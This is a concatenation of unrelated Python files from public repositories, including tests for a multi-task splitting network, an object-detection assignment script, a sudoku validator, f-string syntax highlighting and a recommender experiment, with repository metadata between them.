max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_zero_euclidean_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are random, while some tasks randomly have gradients set to zero, with a fully shared network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand_zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_euclidean_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when these gradients are random, with a fully shared network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_zero_euclidean_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are always zero, with a split network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_zero_euclidean_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are random, while some tasks randomly have gradients set to zero, with a split network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand_zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_euclidean_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when these gradients are random, with a split network. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "sqeuclidean" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_zero_cosine_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are always zero, with a fully shared network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_zero_cosine_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are random, while some tasks randomly have gradients set to zero, with a fully shared network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand_zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_cosine_shared() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when these gradients are random, with a fully shared network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_zero_cosine_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are always zero, with a split network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_zero_cosine_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when the gradients are random, while some tasks randomly have gradients set to zero, with a split network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand_zero", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_task_grad_stats_rand_cosine_split() -> None: """ Test that `update_grad_stats()` correctly computes gradient statistics over multiple steps when these gradients are random, with a split network using cosine distance. """ # Set up case. settings = dict(BASE_SETTINGS) settings["metric"] = "cosine" settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2 ema_threshold = alpha_to_threshold(settings["ema_alpha"]) # Construct series of splits. splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 1, "copy": 1, "group1": [1], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] # Construct a sequence of task gradients. settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20 dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = get_region_sizes(settings) task_grads = make_task_gradients( "rand", settings["num_steps"], settings["num_tasks"], settings["num_layers"], region_sizes, ) # Run test. grad_stats_template(settings, task_grads, splits_args) def test_sharing_score_shared() -> None: """ Test that the sharing score is correctly computed for a fully shared network. """ # Set up case. settings = dict(BASE_SETTINGS) dim = settings["obs_dim"] + settings["num_tasks"] settings["input_size"] = dim settings["output_size"] = dim settings["hidden_size"] = dim splits_args = [] expected_score = 1.0 # Call template. score_template(settings, splits_args, expected_score) def test_sharing_score_separate() -> None: """ Test that the sharing score is correctly computed for a fully separated network, i.e. a network with no sharing. """ # Set up case. settings = dict(BASE_SETTINGS) dim = settings["obs_dim"] + settings["num_tasks"] settings["input_size"] = dim settings["output_size"] = dim settings["hidden_size"] = dim splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 0, "copy": 0, "group1": [0], "group2": [1]}, {"region": 0, "copy": 1, "group1": [2], "group2": [3]}, {"region": 1, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0], "group2": [1]}, {"region": 1, "copy": 1, "group1": [2], "group2": [3]}, {"region": 2, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 2, "copy": 0, "group1": [0], "group2": [1]}, {"region": 2, "copy": 1, "group1": [2], "group2": [3]}, ] expected_score = 0.0 # Call template. score_template(settings, splits_args, expected_score) def test_sharing_score_split_1() -> None: """ Test that the sharing score is correctly computed for a network with half of each region shared. """ # Set up case. settings = dict(BASE_SETTINGS) dim = settings["obs_dim"] + settings["num_tasks"] settings["input_size"] = dim settings["output_size"] = dim settings["hidden_size"] = dim splits_args = [ {"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]}, {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]}, ] expected_score = 2.0 / 3.0 # Call template. score_template(settings, splits_args, expected_score) def test_sharing_score_split_2() -> None: """ Test that the sharing score is correctly computed for a network with half of each region shared. """ # Set up case. settings = dict(BASE_SETTINGS) dim = settings["obs_dim"] + settings["num_tasks"] settings["input_size"] = settings["obs_dim"] settings["output_size"] = dim settings["hidden_size"] = dim splits_args = [ {"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]}, {"region": 2, "copy": 0, "group1": [0], "group2": [1, 2, 3]}, {"region": 2, "copy": 1, "group1": [1], "group2": [2, 3]}, ] dim = settings["obs_dim"] + settings["num_tasks"] region_sizes = [ settings["obs_dim"] * dim + dim, dim ** 2 + dim, dim ** 2 + dim, ] region_scores = [1.0, 2.0 / 3.0, 1.0 / 3.0] expected_score = sum( [score * size for score, size in zip(region_scores, region_sizes)] ) / sum(region_sizes) # Call template. score_template(settings, splits_args, expected_score) def test_shared_regions_shared() -> None: """ Test that the shared regions are correctly computed by `SplittingMap.shared_regions()` in the case of a fully shared network. """ # Construct network. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=dim, device=BASE_SETTINGS["device"], ) # Compute expected shared regions. expected_is_shared = torch.zeros( network.num_tasks, network.num_tasks, network.num_regions ) for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)): if task1 == task2: continue for region in range(network.num_regions): expected_is_shared[task1, task2, region] = 1 # Compare expected to actual. assert torch.all(expected_is_shared == network.splitting_map.shared_regions()) def test_shared_regions_single() -> None: """ Test that the shared regions are correctly computed by `SplittingMap.shared_regions()` in the case of a network with a single split. """ # Construct network. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=dim, device=BASE_SETTINGS["device"], ) # Perform splits. network.split(1, 0, [0, 1], [2, 3]) # Compute expected shared regions. expected_is_shared = torch.zeros( network.num_tasks, network.num_tasks, network.num_regions ) for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)): if task1 == task2: continue for region in range(network.num_regions): if region == 1 and (task1 // 2) != (task2 // 2): expected_is_shared[task1, task2, region] = 0 else: expected_is_shared[task1, task2, region] = 1 # Compare expected to actual. print(expected_is_shared) print(network.splitting_map.shared_regions()) assert torch.all(expected_is_shared == network.splitting_map.shared_regions()) def test_shared_regions_multiple() -> None: """ Test that the shared regions are correctly computed by `SplittingMap.shared_regions()` in the case of a network with a single split. """ # Construct network. dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"] network = BaseMultiTaskSplittingNetwork( input_size=dim, output_size=dim, num_tasks=BASE_SETTINGS["num_tasks"], num_layers=BASE_SETTINGS["num_layers"], hidden_size=dim, device=BASE_SETTINGS["device"], ) # Perform splits. network.split(0, 0, [0, 1], [2, 3]) network.split(1, 0, [0, 2], [1, 3]) network.split(1, 0, [0], [2]) network.split(2, 0, [0, 3], [1, 2]) # Compute expected shared regions. expected_is_shared = torch.zeros( network.num_tasks, network.num_tasks, network.num_regions ) for task1, task2 in product(range(network.num_tasks), range(network.num_tasks)): if task1 == task2: continue for region in range(network.num_regions): val = 1 if region == 0 and (task1 // 2) != (task2 // 2): val = 0 elif region == 1 and (task1, task2) not in [(1, 3), (3, 1)]: val = 0 elif region == 2 and task1 + task2 != 3: val = 0 expected_is_shared[task1, task2, region] = val # Compare expected to actual. assert torch.all(expected_is_shared == network.splitting_map.shared_regions()) def make_task_gradients( grad_type: str, num_steps: int, num_tasks: int, num_layers: int, region_sizes: List[int], ) -> torch.Tensor: """ Construct dummy task gradients. """ # Generate gradients. max_layer_size = max(region_sizes) if grad_type == "zero": task_grads = torch.zeros(num_steps, num_tasks, num_layers, max_layer_size) elif grad_type == "rand_zero": task_grads = torch.rand(num_steps, num_tasks, num_layers, max_layer_size) task_grads *= ( (torch.rand(num_steps, num_tasks) < 0.5).unsqueeze(-1).unsqueeze(-1) ) elif grad_type == "rand_identical": task_grads = torch.rand(num_steps, 1, num_layers, max_layer_size) task_grads = task_grads.expand(-1, num_tasks, -1, -1) elif grad_type == "rand": task_grads = torch.rand(num_steps, num_tasks, num_layers, max_layer_size) else: raise NotImplementedError # Zero out values that don't correspond to a parameter (this happens since layers # have different sizes). for layer in range(num_layers): task_grads[:, :, layer, region_sizes[layer] :] = 0.0 return task_grads def get_region_sizes(settings: Dict[str, Any]) -> List[int]: """ Compute size of each layer in network specified by `settings`. """ dim = settings["num_tasks"] + settings["obs_dim"] region_sizes = [] for region in range(settings["num_layers"]): if region == 0: region_size = settings["hidden_size"] * (dim + 1) elif region == settings["num_layers"] - 1: region_size = dim * (settings["hidden_size"] + 1) else: region_size = settings["hidden_size"] ** 2 + settings["hidden_size"] region_sizes.append(region_size) return region_sizes

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Python

v3/detection/tests.py

gvanhorn38/inception

1da2d77c9f14cf26b25b77f7eae15234b68b7e8f

[ "MIT" ]

4

2016-09-30T21:34:14.000Z

2020-06-06T04:28:38.000Z

v3/detection/tests.py

gvanhorn38/inception

1da2d77c9f14cf26b25b77f7eae15234b68b7e8f

[ "MIT" ]

null

v3/detection/tests.py

gvanhorn38/inception

1da2d77c9f14cf26b25b77f7eae15234b68b7e8f

[ "MIT" ]

null

import numpy as np import train batch_size = 1 num_predictions = 5 max_num_gt_bboxes = 2 locations = np.zeros([batch_size * num_predictions, 4]) confidences = np.zeros([batch_size * num_predictions]) gt_bboxes = np.zeros([batch_size, max_num_gt_bboxes, 4]) num_gt_bboxes = np.zeros([batch_size]).astype(int) locations[0] = np.array([0.1, 0.1, 0.3, 0.3]) locations[1] = np.array([0.2, 0.3, 0.4, 0.4]) locations[2] = np.array([0.5, 0.4, 0.6, 0.6]) locations[3] = np.array([0.7, 0.8, 0.9, 0.9]) locations[4] = np.array([0.8, 0.3, 0.95, 0.5]) confidences[0] = .7 confidences[1] = .8 confidences[2] = .6 confidences[3] = .3 confidences[4] = .7 gt_bboxes[0][0] = np.array([0.25, 0.25, 0.35, 0.35]) gt_bboxes[0][1] = np.array([0.77, 0.33, 0.9, 0.53]) num_gt_bboxes[0] = 2 partitions, stacked_gt_bboxes = train.compute_assignments(locations, confidences, gt_bboxes, num_gt_bboxes, batch_size) ############################## batch_size = 2 num_predictions = 5 max_num_gt_bboxes = 1 locations = np.zeros([batch_size * num_predictions, 4]) confidences = np.zeros([batch_size * num_predictions]) gt_bboxes = np.zeros([batch_size, max_num_gt_bboxes, 4]) num_gt_bboxes = np.zeros([batch_size]).astype(int) locations[0] = np.array([0.1, 0.1, 0.3, 0.3]) locations[1] = np.array([0.2, 0.3, 0.4, 0.4]) locations[2] = np.array([0.5, 0.4, 0.6, 0.6]) locations[3] = np.array([0.7, 0.8, 0.9, 0.9]) locations[4] = np.array([0.8, 0.3, 0.95, 0.5]) locations[5] = np.array([0.1, 0.1, 0.3, 0.3]) locations[6] = np.array([0.2, 0.3, 0.4, 0.4]) locations[7] = np.array([0.5, 0.4, 0.6, 0.6]) locations[8] = np.array([0.7, 0.8, 0.9, 0.9]) locations[9] = np.array([0.8, 0.3, 0.95, 0.5]) confidences[0] = .7 confidences[1] = .8 confidences[2] = .6 confidences[3] = .3 confidences[4] = .7 confidences[5] = .7 confidences[6] = .8 confidences[7] = .6 confidences[8] = .3 confidences[9] = .7 gt_bboxes[0][0] = np.array([0.25, 0.25, 0.35, 0.35]) gt_bboxes[1][0] = np.array([0.77, 0.33, 0.9, 0.53]) num_gt_bboxes[0] = 1 num_gt_bboxes[1] = 1 partitions, stacked_gt_bboxes = train.compute_assignments(locations, confidences, gt_bboxes, num_gt_bboxes, batch_size) [21792, 4] [21792] [32, 1, 4] [32] c = np.array([0.1, 0.1, 0.1, 0.1, 0.1]) x = np.array( [[1, 0], [0, 0], [0, 0], [0, 0], [0, 1]] ) t = 0 for i in range(5): t += (1 - np.sum(x[i])) * np.log(1 - c[i]) t *= -1 print t r = 0 for i in range(5): for j in range(2): r += x[i][j] * np.log(1. - c[i]) - (1. / 2.) * np.log(1 - c[i]) print r

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0

null

0

1

0

null

0

1

0

7

46d6d445810ca2e9c7dfadd37d525bce446ba093

4,063

py

Python

codewars/tests/test_validate_sudoku.py

nelsonlove/coding-exercises

71081a9ecb17f4aa50b232a93624822f9eeeb37e

[ "MIT" ]

null

codewars/tests/test_validate_sudoku.py

nelsonlove/coding-exercises

71081a9ecb17f4aa50b232a93624822f9eeeb37e

[ "MIT" ]

null

codewars/tests/test_validate_sudoku.py

nelsonlove/coding-exercises

71081a9ecb17f4aa50b232a93624822f9eeeb37e

[ "MIT" ]

null

from unittest import TestCase from kata import validate_sudoku class Test(TestCase): def test_validate_sudoku(self): self.assertEqual(validate_sudoku([[5, 3, 4, 6, 7, 8, 9, 1, 2], [6, 7, 2, 1, 9, 5, 3, 4, 8], [1, 9, 8, 3, 4, 2, 5, 6, 7], [8, 5, 9, 7, 6, 1, 4, 2, 3], [4, 2, 6, 8, 5, 3, 7, 9, 1], [7, 1, 3, 9, 2, 4, 8, 5, 6], [9, 6, 1, 5, 3, 7, 2, 8, 4], [2, 8, 7, 4, 1, 9, 6, 3, 5], [3, 4, 5, 2, 8, 6, 1, 7, 9]]), 'Finished!'); self.assertEqual(validate_sudoku([[5, 3, 4, 6, 7, 8, 9, 1, 2], [6, 7, 2, 1, 9, 0, 3, 4, 9], [1, 0, 0, 3, 4, 2, 5, 6, 0], [8, 5, 9, 7, 6, 1, 0, 2, 0], [4, 2, 6, 8, 5, 3, 7, 9, 1], [7, 1, 3, 9, 2, 4, 8, 5, 6], [9, 0, 1, 5, 3, 7, 2, 1, 4], [2, 8, 7, 4, 1, 9, 6, 3, 5], [3, 0, 0, 4, 8, 1, 1, 7, 9]]), 'Try again!'); self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8] , [4, 9, 8, 2, 6, 1, 3, 7, 5] , [7, 5, 6, 3, 8, 4, 2, 1, 9] , [6, 4, 3, 1, 5, 8, 7, 9, 2] , [5, 2, 1, 7, 9, 3, 8, 4, 6] , [9, 8, 7, 4, 2, 6, 5, 3, 1] , [2, 1, 4, 9, 3, 5, 6, 8, 7] , [3, 6, 5, 8, 1, 7, 9, 2, 4] , [8, 7, 9, 6, 4, 2, 1, 5, 3]]), 'Finished!'); self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8] , [4, 9, 8, 2, 6, 1, 3, 7, 5] , [7, 5, 6, 3, 8, 4, 2, 1, 9] , [6, 4, 3, 1, 5, 8, 7, 9, 2] , [5, 2, 1, 7, 9, 3, 8, 4, 6] , [9, 8, 7, 4, 2, 6, 5, 3, 1] , [2, 1, 4, 9, 3, 5, 6, 8, 7] , [3, 6, 5, 8, 1, 7, 9, 2, 4] , [8, 7, 9, 6, 4, 2, 1, 3, 5]]), 'Try again!'); self.assertEqual(validate_sudoku([[1, 3, 2, 5, 7, 9, 4, 6, 8] , [4, 9, 8, 2, 6, 0, 3, 7, 5] , [7, 0, 6, 3, 8, 0, 2, 1, 9] , [6, 4, 3, 1, 5, 0, 7, 9, 2] , [5, 2, 1, 7, 9, 0, 8, 4, 6] , [9, 8, 0, 4, 2, 6, 5, 3, 1] , [2, 1, 4, 9, 3, 5, 6, 8, 7] , [3, 6, 0, 8, 1, 7, 9, 2, 4] , [8, 7, 0, 6, 4, 2, 1, 3, 5]]), 'Try again!'); self.assertEqual(validate_sudoku([[1, 2, 3, 4, 5, 6, 7, 8, 9] , [2, 3, 4, 5, 6, 7, 8, 9, 1] , [3, 4, 5, 6, 7, 8, 9, 1, 2] , [4, 5, 6, 7, 8, 9, 1, 2, 3] , [5, 6, 7, 8, 9, 1, 2, 3, 4] , [6, 7, 8, 9, 1, 2, 3, 4, 5] , [7, 8, 9, 1, 2, 3, 4, 5, 6] , [8, 9, 1, 2, 3, 4, 5, 6, 7] , [9, 1, 2, 3, 4, 5, 6, 7, 8]]), 'Try again!');

60.641791

88

0.200098

537

4,063

1.497207

0.046555

0.047264

0.037313

0.039801

0.797264

0.746269

0.731343

0.60199

0

0.3286

0.635983

4,063

66

89

61.560606

0.21501

0

0.448276

0

0.014275

0

0.103448

1

0.017241

false

0

0.034483

0

0.068966

0

1

null

0

1

0

1

0

1

0

1

0

null

0

8

200fa896cac442d778b85723a3bd49165a4cf9b8

2,814

py

Python

test/fstrings/prefixes3.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

1,482

2015-10-16T21:59:32.000Z

2022-03-30T11:44:40.000Z

test/fstrings/prefixes3.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

226

2015-10-15T15:53:44.000Z

2022-03-25T03:08:27.000Z

test/fstrings/prefixes3.py

kylebarron/MagicPython

da6fa0793e2c85d3bf7709ff1d4f65ccf468db11

[ "MIT" ]

129

2015-10-20T02:41:49.000Z

2022-03-22T01:44:36.000Z

fr'some {obj}' Fr'some {obj}' fR'some {obj}' FR'some {obj}' fr : source.python, storage.type.string.python, string.interpolated.python, string.regexp.quoted.single.python ' : punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.regexp.quoted.single.python some : source.python, string.interpolated.python, string.regexp.quoted.single.python {obj} : source.python, string.interpolated.python, string.regexp.quoted.single.python ' : punctuation.definition.string.end.python, source.python, string.interpolated.python, string.regexp.quoted.single.python Fr : source.python, storage.type.string.python, string.interpolated.python, string.regexp.quoted.single.python ' : punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.regexp.quoted.single.python some : source.python, string.interpolated.python, string.regexp.quoted.single.python {obj} : source.python, string.interpolated.python, string.regexp.quoted.single.python ' : punctuation.definition.string.end.python, source.python, string.interpolated.python, string.regexp.quoted.single.python fR : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.raw.single.python ' : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.quoted.raw.single.python some : meta.fstring.python, source.python, string.interpolated.python, string.quoted.raw.single.python { : constant.character.format.placeholder.other.python, meta.fstring.python, source.python obj : meta.fstring.python, source.python } : constant.character.format.placeholder.other.python, meta.fstring.python, source.python ' : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.raw.single.python FR : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.raw.single.python ' : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.quoted.raw.single.python some : meta.fstring.python, source.python, string.interpolated.python, string.quoted.raw.single.python { : constant.character.format.placeholder.other.python, meta.fstring.python, source.python obj : meta.fstring.python, source.python } : constant.character.format.placeholder.other.python, meta.fstring.python, source.python ' : meta.fstring.python, punctuation.definition.string.end.python, source.python, string.interpolated.python, string.quoted.raw.single.python

85.272727

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332

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6.222892

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1

0

1

0

null

0

1

0

10

2016a8005e8f320a2ba5311e42372ac5b2ab49d4

98

py

Python

optix/matrixopt/__init__.py

cavic19/matrix_optics-python

f1de82a8095c8858584458dfed87878f57d84bc8

[ "MIT" ]

null

optix/matrixopt/__init__.py

cavic19/matrix_optics-python

f1de82a8095c8858584458dfed87878f57d84bc8

[ "MIT" ]

1

2022-03-10T08:43:36.000Z

optix/matrixopt/__init__.py

cavic19/matrix_optics-python

f1de82a8095c8858584458dfed87878f57d84bc8

[ "MIT" ]

1

2022-03-26T14:02:37.000Z

from optix.matrixopt.ABCDformalism import * from optix.matrixopt.optical_system import OpticalPath

49

54

0.877551

12

98

7.083333

0.666667

0.211765

0.423529

0

0.071429

98

2

54

49

0.934066

0

1

0

true

0

1

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0

1

0

null

1

0

1

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null

0

1

0

1

0

1

0

7

2028b46606ab3df3a73029d0dda398a44b962e5b

14,659

py

Python

python/test_alpenglow/experiments/test_BatchFactorExperiment.py

fbobee/Alpenglow

5f956511017c1bee72390aaecd964c04d8ad4b45

[ "Apache-2.0" ]

28

2017-07-23T22:47:44.000Z

2022-03-12T15:11:13.000Z

python/test_alpenglow/experiments/test_BatchFactorExperiment.py

fbobee/Alpenglow

5f956511017c1bee72390aaecd964c04d8ad4b45

[ "Apache-2.0" ]

4

2017-05-10T10:23:17.000Z

2019-05-23T14:07:09.000Z

python/test_alpenglow/experiments/test_BatchFactorExperiment.py

fbobee/Alpenglow

5f956511017c1bee72390aaecd964c04d8ad4b45

[ "Apache-2.0" ]

9

2017-05-04T09:20:58.000Z

2021-12-14T08:19:01.000Z

import alpenglow as prs import alpenglow.Getter as rs import alpenglow.experiments import pandas as pd import math import pytest import sys from alpenglow.evaluation import DcgScore import alpenglow.cpp compiler = alpenglow.cpp.__compiler stdlib = alpenglow.cpp.__stdlib class TestBatchFactorExperiment: def test_batchFactorExperiment(self): data = pd.read_csv( "python/test_alpenglow/test_data_4", sep=' ', header=None, names=['time', 'user', 'item', 'id', 'score', 'eval'] ) sbExperiment = alpenglow.experiments.BatchFactorExperiment( top_k=100, negative_rate=3, seed=254938879, period_length=1000 ) rankings = sbExperiment.run(data, verbose=True, exclude_known=True) assert rankings.top_k == 100 desired_ranks = [101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 101.0, 